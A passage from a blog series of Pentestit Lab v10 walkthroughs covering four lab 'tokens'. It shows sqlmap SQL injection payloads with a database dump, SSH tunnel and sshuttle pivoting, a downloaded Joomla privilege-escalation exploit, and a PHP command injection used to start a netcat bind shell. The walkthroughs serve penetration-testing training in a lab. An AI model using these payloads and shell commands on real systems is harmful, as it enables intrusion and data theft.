[21:52:42] [INFO] retrieved: oc_product_to_layout
[21:52:42] [INFO] retrieved: oc_product_to_store
[21:52:43] [INFO] retrieved: oc_recurring
[21:52:43] [INFO] retrieved: oc_recurring_description
[21:52:43] [INFO] retrieved: oc_return
[21:52:43] [INFO] retrieved: oc_return_action
[21:52:44] [INFO] retrieved: oc_return_history
[21:52:44] [INFO] retrieved: oc_return_reason
[21:52:44] [INFO] retrieved: oc_return_status
[21:52:44] [INFO] retrieved: oc_review
[21:52:45] [INFO] retrieved: oc_setting
[21:52:45] [INFO] retrieved: oc_stock_status
[21:52:45] [INFO] retrieved: oc_store
[21:52:46] [INFO] retrieved: oc_tax_class
[21:52:46] [INFO] retrieved: oc_tax_rate
[21:52:46] [INFO] retrieved: oc_tax_rate_to_customer_group
[21:52:46] [INFO] retrieved: oc_tax_rule
[21:52:47] [INFO] retrieved: oc_theme
[21:52:47] [INFO] retrieved: oc_translation
[21:52:47] [INFO] retrieved: oc_upload
[21:52:47] [INFO] retrieved: oc_url_alias
[21:52:48] [INFO] retrieved: oc_user
[21:52:48] [INFO] retrieved: oc_user_group
[21:52:48] [INFO] retrieved: oc_voucher
[21:52:49] [INFO] retrieved: oc_voucher_history
[21:52:49] [INFO] retrieved: oc_voucher_theme
[21:52:49] [INFO] retrieved: oc_voucher_theme_description
[21:52:49] [INFO] retrieved: oc_weight_class
[21:52:50] [INFO] retrieved: oc_weight_class_description
[21:52:50] [INFO] retrieved: oc_zone
[21:52:50] [INFO] retrieved: oc_zone_to_geo_zone
[21:52:50] [INFO] retrieved: token
Database: testlab                                                              
[133 tables]
+-----------------------------------+
| oc_address                        |
| oc_affiliate                      |
| oc_affiliate_activity             |
| oc_affiliate_login                |
| oc_affiliate_transaction          |
| oc_api                            |
| oc_api_ip                         |
| oc_api_session                    |
| oc_attribute                      |
| oc_attribute_description          |
| oc_attribute_group                |
| oc_attribute_group_description    |
| oc_banner                         |
| oc_banner_image                   |
| oc_cart                           |
| oc_category                       |
| oc_category_description           |
| oc_category_filter                |
| oc_category_path                  |
| oc_category_to_layout             |
| oc_category_to_store              |
| oc_country                        |
| oc_coupon                         |
| oc_coupon_category                |
| oc_coupon_history                 |
| oc_coupon_product                 |
| oc_currency                       |
| oc_custom_field                   |
| oc_custom_field_customer_group    |
| oc_custom_field_description       |
| oc_custom_field_value             |
| oc_custom_field_value_description |
| oc_customer                       |
| oc_customer_activity              |
| oc_customer_group                 |
| oc_customer_group_description     |
| oc_customer_history               |
| oc_customer_ip                    |
| oc_customer_login                 |
| oc_customer_online                |
| oc_customer_reward                |
| oc_customer_search                |
| oc_customer_transaction           |
| oc_customer_wishlist              |
| oc_download                       |
| oc_download_description           |
| oc_download_stats                 |
| oc_event                          |
| oc_extension                      |
| oc_filter                         |
| oc_filter_description             |
| oc_filter_group                   |
| oc_filter_group_description       |
| oc_geo_zone                       |
| oc_information                    |
| oc_information_description        |
| oc_information_to_layout          |
| oc_information_to_store           |
| oc_language                       |
| oc_layout                         |
| oc_layout_module                  |
| oc_layout_route                   |
| oc_length_class                   |
| oc_length_class_description       |
| oc_location                       |
| oc_manufacturer                   |
| oc_manufacturer_to_store          |
| oc_marketing                      |
| oc_menu                           |
| oc_menu_description               |
| oc_menu_module                    |
| oc_modification                   |
| oc_module                         |
| oc_option                         |
| oc_option_description             |
| oc_option_value                   |
| oc_option_value_description       |
| oc_order                          |
| oc_order_custom_field             |
| oc_order_history                  |
| oc_order_option                   |
| oc_order_product                  |
| oc_order_recurring                |
| oc_order_recurring_transaction    |
| oc_order_status                   |
| oc_order_total                    |
| oc_order_voucher                  |
| oc_product                        |
| oc_product_attribute              |
| oc_product_description            |
| oc_product_discount               |
| oc_product_filter                 |
| oc_product_image                  |
| oc_product_option                 |
| oc_product_option_value           |
| oc_product_recurring              |
| oc_product_related                |
| oc_product_reward                 |
| oc_product_special                |
| oc_product_to_category            |
| oc_product_to_download            |
| oc_product_to_layout              |
| oc_product_to_store               |
| oc_recurring                      |
| oc_recurring_description          |
| oc_return                         |
| oc_return_action                  |
| oc_return_history                 |
| oc_return_reason                  |
| oc_return_status                  |
| oc_review                         |
| oc_setting                        |
| oc_stock_status                   |
| oc_store                          |
| oc_tax_class                      |
| oc_tax_rate                       |
| oc_tax_rate_to_customer_group     |
| oc_tax_rule                       |
| oc_theme                          |
| oc_translation                    |
| oc_upload                         |
| oc_url_alias                      |
| oc_user                           |
| oc_user_group                     |
| oc_voucher                        |
| oc_voucher_history                |
| oc_voucher_theme                  |
| oc_voucher_theme_description      |
| oc_weight_class                   |
| oc_weight_class_description       |
| oc_zone                           |
| oc_zone_to_geo_zone               |
| token                             |
+-----------------------------------+

[21:52:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 21:52:50

Find the Site Token:

From our previous sqlmap output, we can see that the last table is called token. Let’s go ahead and add the -T option to set our table name in sqlmap, and the --columns option to enumerate all of the columns in the token table.

root@kali:~/gds# sqlmap -u "http://localhost:8080/index.php?route=product/product&product_id=53" -p product_id -D testlab -T token --columns
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.0.12#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:54:15

[21:54:15] [INFO] resuming back-end DBMS 'mysql' 
[21:54:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: product_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: route=product/product&product_id=53 RLIKE (SELECT (CASE WHEN (7914=7914) THEN 53 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: route=product/product&product_id=53 AND (SELECT 8445 FROM(SELECT COUNT(*),CONCAT(0x717a707671,(SELECT (ELT(8445=8445,1))),0x716a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: route=product/product&product_id=53 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: route=product/product&product_id=53 UNION ALL SELECT NULL,NULL,CONCAT(0x717a707671,0x725662454c43554b68684f43466171746e51794c4a6d677568725856746f66754654414a6e635452,0x716a626a71)-- FTqd
---
[21:54:16] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45, Nginx
back-end DBMS: MySQL >= 5.0
[21:54:16] [INFO] fetching columns for table 'token' in database 'testlab'
[21:54:16] [WARNING] reflective value(s) found and filtering out
[21:54:16] [INFO] the SQL query used returns 1 entries
[21:54:16] [INFO] retrieved: "token","varchar(50)"
Database: testlab                                                              
Table: token
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| token  | varchar(50) |
+--------+-------------+

[21:54:16] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 21:54:16

Okay, so apparently there is only one column in the tokens table called token. We can now use the --dump option in sqlmap to dump all the contents from the token table.

Please Note: I replaced the token with * to prevent anyone from seeing the real token – that’s just cheating!

root@kali:~/gds# sqlmap -u "http://localhost:8080/index.php?route=product/product&product_id=53" -p product_id -D testlab -T token --dump
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.0.12#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:54:49

[21:54:49] [INFO] resuming back-end DBMS 'mysql' 
[21:54:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: product_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: route=product/product&product_id=53 RLIKE (SELECT (CASE WHEN (7914=7914) THEN 53 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: route=product/product&product_id=53 AND (SELECT 8445 FROM(SELECT COUNT(*),CONCAT(0x717a707671,(SELECT (ELT(8445=8445,1))),0x716a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: route=product/product&product_id=53 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: route=product/product&product_id=53 UNION ALL SELECT NULL,NULL,CONCAT(0x717a707671,0x725662454c43554b68684f43466171746e51794c4a6d677568725856746f66754654414a6e635452,0x716a626a71)-- FTqd
---
[21:54:49] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45, Nginx
back-end DBMS: MySQL >= 5.0
[21:54:49] [INFO] fetching columns for table 'token' in database 'testlab'
[21:54:49] [INFO] the SQL query used returns 1 entries
[21:54:49] [INFO] resumed: "token","varchar(50)"
[21:54:49] [INFO] fetching entries for table 'token' in database 'testlab'     
[21:54:50] [WARNING] reflective value(s) found and filtering out
[21:54:50] [INFO] the SQL query used returns 1 entries
[21:54:50] [INFO] retrieved: Muph8gu7
[21:54:50] [INFO] analyzing table dump for possible password hashes            
Database: testlab
Table: token
[1 entry]
+----------+
| token    |
+----------+
| ******** |
+----------+

[21:54:50] [INFO] table 'testlab.token' dumped to CSV file '/root/.sqlmap/output/localhost/dump/testlab/token.csv'
[21:54:50] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 21:54:50

Token (5/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the Store via SSH Tunneling to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (6/13) – The Blog Token!

Pentestit Lab v10 – Blog Token (6/13)

In my previous post “Pentestit Lab v10 – Store Token (5/13)”, we took a step back to map the attack surface of the Store Web Application, utilized the compromised gw machine to create an SSH Tunnel to bypass access control restrictions, exploited a Blind SQL Inject via sqlmap, and found our fifth token. Today we will be pivoting into the internal network via our compromised gw machine and attacking the Blog Machine – which will include the following:

  • Fingerprinting & Accessing the Blog Machine
  • Elevating a Joomal Exploit for Admin Access
  • Finding the Blog Token

If you need a reminder of where the Blog Machine is, or how the network is configured then I suggest you look back at the network map.

Fingerprinting & Accessing the Blog Machine:

Since we already have compromised access to the gw machine running nmap – really our initial step after the compromised should have been to fingerprint ALL of the machines on the internal network to be able to build and map out an attack plan, as well as father more information on what types of attacks/exploits we might need to utilized later in out lab.

If you already haven’t done so – go ahead and map out the internal network for both the 192.168.0.0.1/24 and 172.16.0.0/24 network.

After that has been completed – your results for the Blog Machine should be similar to mines.

Nmap scan report for 192.168.0.4
Host is up (0.0033s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
80/tcp open  http    nginx 1.2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 25.85 seconds

Alright – so we see that the Blog Machine is running Nginx on TCP/80, so we can assume that there is a website running locally.

If you remember my previous post, we utilized an SSH Tunnel to be able to bypass access control restrictions in the Store – thus allowing us to see the SQL error and not a 403 Forbidden error.

So to access this website, we will be doing the same thing we did previously – we will establish an SSH Tunnel on port 8080 from 192.168.0.4 (the Blog Machine) from port 80 on 192.168.101.9 via e.lindsey’s credentials.

root@kali:~# ssh -L 8080:192.168.0.4:80 e.lindsey@192.168.101.9
e.lindsey@192.168.101.9's password: 
Linux tl10-ssh 3.2.0-4-amd64 #1 SMP Debian 3.2.82-1 x86_64
Last login: Wed Jan 25 09:24:31 2017 from 10.10.216.226

Once we got that configured, let’s go ahead and set up a proxy from our localhost via port 8080 to get internal access.

Now that we have all that set up, let’s navigate to 192.168.0.4 and we should have access to the Blog.

Awesome! So we got access to the site. We can now further fingerprint the machine to gather more infomration and try to establish an attack plan.

Usually, the first thing you should be doing is going through the HTML Source Code of the page to check for any “give away” such as usernames, passwords, hidden links, etc. So let’s do just that and view the source:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir="ltr">
<head>
	<meta name="viewport" content="width=device-width, initial-scale=1.0" />
	  <base href="http://192.168.0.4/index.php" />
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  <meta name="author" content="GDS" />
  <meta name="description" content="Global Data Security Dev" />
  <meta name="generator" content="Joomla! - Open Source Content Management" />
  <title>Home</title>

After initial review of the headers we see that the website is running Joomal which is a Content Management System for the creation and modification of digital content.

Now that we know that this is run by Joomal, we have an initial idea of what vulnerabilities or exploits we might need to utilize to compromise the site.

One thing that really caught my eye was the “Edit Profile link that led me straight to a login page.

Elevating a Joomal Exploit for Admin Access:

At this point – something clicked in my head. Just a few days before I compromised this machine I was reading a Development Update on Joomals Security and Vulnerability Fixes.

That same day I happened to stumble across a Joomla! 3.4.4 < 3.6.4 – Account Creation / Privilege Escalation Exploit while reading those updates, but wasn’t sure if the exploit would work on the running version – yet I decided to give it a shot.

First thing I did was use wget to download the exploit from GitHub.

root@kali:~/gds# wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40637.zip
--2017-01-25 00:43:43--  https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40637.zip
Resolving github.com (github.com)... 192.30.253.112, 192.30.253.113
Connecting to github.com (github.com)|192.30.253.112|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/40637.zip [following]
--2017-01-25 00:43:44--  https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/40637.zip
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.192.133, 151.101.128.133, 151.101.64.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.192.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6287 (6.1K) [application/zip]
Saving to: ‘40637.zip’

40637.zip           100%[===================>]   6.14K  --.-KB/s    in 0s      

2017-01-25 00:43:44 (62.1 MB/s) - ‘40637.zip’ saved [6287/6287]

One the download is complete, we need to unzip the exploit.

root@kali:~/gds# ls
40637.zip   dir_enum.py            lindsey_hash  small.txt
common.txt  gds-authenticator.apk  names.txt
root@kali:~/gds# unzip 40637.zip 
Archive:  40637.zip
   creating: 40637/
  inflating: 40637/filthyc0w.pht     
   creating: __MACOSX/
   creating: __MACOSX/40637/
  inflating: __MACOSX/40637/._filthyc0w.pht  
  inflating: 40637/joomraa.py        
  inflating: __MACOSX/40637/._joomraa.py  
  inflating: 40637/README.md         
  inflating: __MACOSX/40637/._README.md 
root@kali:~/gds# ls
40637      common.txt   gds-authenticator.apk  __MACOSX   small.txt
40637.zip  dir_enum.py  lindsey_hash           names.txt

Okay! So we have the exploit unzipped and ready to go. Our next step would be to run the exploit with specific options.

For this exploit to work, we need to choose a username, password and e-mail address to use, and point it at the URL af the Joomla website.

We don’t need to provide legitimate details so I just chose user as both the username and password, and for the email I chose user@user.com.

And if you provided your real credentials… then I suggest you rethink being a hacker!

Alright – once we know what info we will be providing, let’s go ahead and run the exploit. Don’t forget to give the exploit executable permissions first!

root@kali:~/gds# cd 40637/
root@kali:~/gds/40637# ls
filthyc0w.pht  joomraa.py  README.md
root@kali:~/gds/40637# chmod +x joomraa.py 
root@kali:~/gds/40637# ./joomraa.py -u user -p password -e user@user.com http://localhost:8080
                                                                                                                    
     @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
     @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
     @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
     !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
     !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
     !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
     !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       
!!:  :!:  :!:  !:!  :!:  !:!  :!:     :!:  :!:  !:!  :!:  !:!  :!:  !:!  :!:  
::: : ::  ::::: ::  ::::: ::  :::     ::   ::   :::  ::   :::  ::   :::   ::  
 : :::     : :  :    : :  :    :      :     :   : :   :   : :   :   : :  :::  

[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[+] Admin Login Success!
[+] Getting media options
[+] Setting media options
[*] Uploading exploit.pht
[*] Uploading exploit to: http://localhost:8080/images/RKPVOLS3V6.pht
[!] Failed to upload file!
[*] FAILURE

The first thing you may notice after running the exploit is a FAILURE message – but don’t panic! This doesn’t mean that the exploit failed in a whole, but just the Remote Shell exploit portion failed.

If you look just a little way up the log, you will see that “Admin Login Success!. Meaning, that the credentials we provided were successfully created and accessed.

So, let’ go back to the Edit Profile page and login with user:user – and we should have access.

Awesome, so it seems we have administrative access to the Blog – we can tell by the Administrator link that showed up at the top of the page right after we logged in.

Finding the Blog Token:

Since we now have administrative access to the Blog site, let’s follow the Administrator link and see what we can access.

When prompted for the login just enter user:user – or anything you might have entered if that’s the case.

Right! We got access to the Control Panel and have compromised the Blog Site!

Look around the Control Panel to see if you can find the token! Hint: It might be in the Content Section.

Token (6/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the Blog via the SSH Tunneling and Joomal Exploit to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (7/13) – The Captcha Token!

Pentestit Lab v10 – Captcha Token (7/13)

In my previous post “Pentestit Lab v10 – Blog Token (6/13)”, we further utilized the gw machine to pivot into the internal network and access the Blog via an SSH Tunnel, exploited Joomal with an Account Creation/Privilege Escalation exploit, and found our sixth token. Today we will be pivoting further into the network and attacking the Captcha Machine – which will include the following:

  • Fingerprinting and Accessing the Captcha Machine
  • Exploiting a Command Injection Vulnerability
  • Establishing a VPN Tunnel via SSH to the Internal Network
  • Finding the Captcha Token

As always – review the network map if you are lost or confused on where the Captcha Machine is located.

Fingerprinting and Accessing the Captcha Machine:

As mentioned in my previous post – since we compromised the gw machine and it already had Nmap installed, you should have fingerprinted the other machines on the network in advance to get a better idea on what you might need to exploit.

Though, if you haven’t already scanned the Captcha Machine at 192.168.0.7, then go ahead and do so. Your results should be closely similar to mines.

Nmap scan report for 192.168.0.7
Host is up (0.0037s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
80/tcp open  http    nginx 1.2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.45 seconds

Alright, so it seems that this machine is also running Nginx on TCP/80 and once again we can assume that there is a website running locally.

And just like before, let’s establish an SSH tunnel to 192.168.0.7 on port 8080 via 192.168.101.9 on port 80. Then we can configure our proxy to run on port 8080 on our localhost – which will give us access to the website.

Once that’s set up and ready to go – we can then access the website.

Initial reviews of the page show us two things – a captcha with a broken image, and a text input box.

Since there really isn’t anything else that we can navigate to, let’s check the HTML Source code for any clues.

<img src="/sources/0a5ed93350dbf3915157abb698d9bfb3426529ada1528a5a0158f0081df4226f88da999df793e9ab15004cb79f2dd833320cdd2ee3e6e05f9e7b6b91f8d1b8b4622d3e9fb9b8cef72c76664bc5631af6eb54cb138ab8251190dd9badac178e1c8f02a6/captcha.png" width=69 height=30 title="captcha" />
<br>
<input type="text" size=7">

A quick look shows us that the image tag has a source link. Let’s follow that and see where it takes us!

Well that’s rather unfortunate… should have known that a broken image link might lead to this.

Ah well, we still have other options that we can utilize to find a vulnerability.

Let’s see if the website doesn’t have a robots.txt file.

We can find this out by going to the following url:

http://192.168.0.7/robots.txt

Sure enough, we end up on the Robots.txt page with the following information.

User-agent: *
Disallow: *.bak

The Disallow is rather interesting as it includes *.bak, meaning that anything with the bak extension isn’t indexed by spiders.

Well, we know that the image source is broken, and that bak is a backup copy… let’s try navigating to the following link to see if there isn’t a backup of the stored image.

http://192.168.0.7/sources/0a5ed93350dbf3915157abb698d9bfb3426529ada1528a5a0158f0081df4226f88da999df793e9ab15004cb79f2dd833320cdd2ee3e6e05f9e7b6b91f8d1b8b4622d3e9fb9b8cef72c76664bc5631af6eb54cb138ab8251190dd9badac178e1c8f02a6/captcha.bak

Navigating to the page gives us the option to download a file called captcha.bak.

Exploiting a Command Injection Vulnerability:

Since we are now able to download the backup of the captcha, let’s go ahead and download that file, and see what it contains.

root@kali:~/gds# file captcha.bak 
captcha.bak: ASCII text
root@kali:~/gds# cat captcha.bak 
file_put_contents($session_path. /captcha, serialize($_SESSION)); 
file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ? 

Quickly I realize that the Captcha is utilizing the PHP GET parameter which is vulnerable to Command Injection!

So, let’s attempt a command injection by trying to inject the ls command to list the files on the Captcha Machine.

We can do so by entering the following at the end of the url:

($_SESSION).php?session=ls

Now mind you, that since we are injecting this via URL it’s good practice to URL Encode some of the characters to prevent any issues during decoding/transfer of data to the server.

So the command we will issue – when URL Encoded – will be:

%28$_SESSION%29.php?session=ls

Thus our URL will look like the following:

http://192.168.0.7/sources/0a5ed93350dbf3915157abb698d9bfb3426529ada1528a5a0158f0081df4226f88da999df793e9ab15004cb79f2dd833320cdd2ee3e6e05f9e7b6b91f8d1b8b4622d3e9fb9b8cef72c76664bc5631af6eb54cb138ab8251190dd9badac178e1c8f02a6/%28$_SESSION%29.php?session=ls

Running the ls command via the session’s parameter returns the file listing of the current present working directory – which means that the command injection vulnerability is viable.

Since we know that we can exploit this vulnerability, let’s use netcat to open up a tcp listener.

($_SESSION).php?session=nc -vlp 1234 -e /bin/bash 

When the command inject is successful, you should see the website say Connecting… which means that our tpc listener is waiting for incoming connections.

Establishing a VPN Tunnel via SSH to the Internal Network:

Alright, now that we have our tcp listener running on the Captcha machine, let’s attempt a connection to it!

root@kali:~/gds# nc -v 192.168.0.7 1234
192.168.0.7: inverse host lookup failed: Unknown host

Unfortunately our connection to the Captcha machine failed. The reason being is that from our localhost, we have no way of accessing the internal network.

Although it’s true that we have a running SSH Tunnel, you have to remember that this tunnel is set up specifically for us to access the website via proxy from our browser.

What we need to do is to find a way of establishing a VPN connection to the internal network that will allow our localhost to communicate via that VPN – giving us unrestricted access to the internal network.

After a quick Google search I stumbled across SSHuttle which is a VPN that can be forwarded over SSH – just what we need!

Download and install SSHhuttle. Once you have done so, let’s run the following command to establish a VPN Connection to the 192.168.0.0/24 internal network via our SSH access to the compromised gw machine on 192.168.101.9.

root@kali:~# sshuttle -r e.lindsey@192.168.101.9 192.168.0.0/24
e.lindsey@192.168.101.9's password: 
client: Connected.

Finding the Captcha Token:

Awesome – now that we have access to the internal network via our VPN, let’s attempt our netcat connection again.

root@kali:~# nc -v 192.168.0.7 1234
192.168.0.7: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.7] 1234 (?) open

And just like that we have backdoor access to the Captcha Machine!

From here we can traverse the directories and see if there isn’t anything interesting!

ls
($_SESSION).php
captcha
captcha.bak
cd ..
ls
532d3b0588c1b683a1f251e5d8b223630a2b928eb44fae7e4ca19c460f4694d8033d40f58e1c6e898ee1adc6496f5640eca4181625929e1958135d3e7d938dddb4894cee50a2fc85284a9d80f333d3252172ead6ce163df3490197d23e576cfa830ae4
cd ..
ls
index.php
readme.txt
robots.txt
sources
cd ..
ls
token.token
www

After traversing a few directories, we spot the Captcha Token!

cat token.token
********

Token (7/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the Captcha via Command Injection to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (8/13) – The News Token!

Pentestit Lab v10 – News Token (8/13)

In my previous post “Pentestit Lab v10 – Captcha Token (7/13)”, we pivoted further into the internal network via an SSL Tunnel to access the Captcha Machine, exploited a Command Injection vulnerability, established a VPN connection via SSH to gain a foothold on the internal network, and found our seventh token. Today we will continue our pivot into the internal network and attack the News Machine – which will include the following:

  • Fingerprinting the News Web App
  • Exploiting Old Login Functionality
  • Finding the News Token

Fingerprinting the News Web App:

Alright, our first step would be to fingerprint the machine. So let’s look back at our Nmap scans – which you should have already done after gaining initial access to the gw machine – and see what the machine is running.

Nmap scan report for 192.168.0.5
Host is up (0.0016s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
80/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.62 seconds

Okay so another Nginx HTTPD Server is running on TCP/80 – we can already assume with confidence that there is a website running locally.

So as we have done before, let’s establish an SSH Tunnel to access the website.

root@kali:~# ssh -L 8080:192.168.0.5:80 e.lindsey@192.168.101.9
e.lindsey@192.168.101.9's password: 
Linux tl10-ssh 3.2.0-4-amd64 #1 SMP Debian 3.2.82-1 x86_64
Last login: Thu Jan 26 01:37:14 2017 from 10.10.197.130

Also make sure you have the proxy configured properly!

Once you have verified that the SSH Tunnel is up and running, and that the proxy is configured properly, we can go ahead and browse to the News Machine via the IP of 192.168.0.5.

Since we now have access to the site let’s do some initial reconnaissance to find anything of interest.

I saw that there is an Account drop down with a login. So I decided to follow that and see where it leads to.

I decided to try and exploit some low hanging fruit and attempted a login with admin@gds.lab:admin.

We can see that the user admin exists, but the password is wrong!

Maybe we can try restoring the password from the drop down menu?

But unfortunately just typing the email leads us to an error.

At this point I decided to run Nikto against the website to find any exploits, misconfigurations, or hidden directories.

Mind you – if you run Nikto you have to route the scan through the SSH tunnel via our proxy!

root@kali:~# nikto -h http://192.168.0.5 -useproxy http://localhost:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.5
+ Target Hostname:    192.168.0.5
+ Target Port:        80
+ Proxy:              localhost:8080
+ Start Time:         2017-01-25 16:46:07 (GMT-6)
---------------------------------------------------------------------------
+ Server: nginx
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3092: /old/: This might be interesting...
+ 7547 requests: 6 error(s) and 5 item(s) reported on remote host
+ End Time:           2017-01-25 17:01:58 (GMT-6) (951 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Exploiting Old Login Functionality:

Initial reviews of the scan show that there is a hidden directory called /old/ which might be of interest to us. Let’s go ahead and navigate to it.

Alright, so we have 3 links to login, logout and restore a password. Let’s go ahead and follow the login link.

Okay – so we have to login. I decided to quickly check the source code and see if there isn’t anything interesting that the authors might have left behind.

<!DOCTYPE html>
<head>
	<title>login_1</title>
</head>
<body>
	<form action="login_2.php" method=GET>
		Login: <input type=text name="username" />
		<br><br>
		Password: <input type=text name="password" />
		<br><br>
		<input type=submit>
	</form>
	<!-- remember to add simple user, too -->
	<br>
	<a href="reset.php">Reset e-mail</a>
</body>

The thing that really caught my eye here was the comment <!-- remember to add simple user, too -->. Huh… is it possible that they created an account with the username of user@gds.lab and password of user?

Let’s go back to the main login page and see if we can’t login with user@gds.lab:user.

Awesome! It seems that we have access to the user account with the weak password of user.

I also noticed that there is a Show user info button – so I clicked that and noticed that the token wasn’t there!

The princess is in another castle? What… what are we playing? Mario?

At this point I decided to go back to the /old/ directory and attempt logging in with admin:user.

So it seems the login worked… somehow. Unfortunately this dosen’t help us at all.

I decided to go back to the user info page and noticed something peculiar.

Finding the News Token:

GTFO? Woah… okay, it seems that by logging in as admin in the /old/ directory caused some sort of change.

This might be due to an issue with Open Sessions and a vulnerability in the Sessions Management of the web application.

I decided to go back and restore the admins password via the restore function.

At this point, I went back to Show User Info and I was able to find the token!

Token (8/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the News site via old login and reset functions to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (9/13) – The Hall of Fame Token!

Pentestit Lab v10 – Hall of Fame Token (9/13)

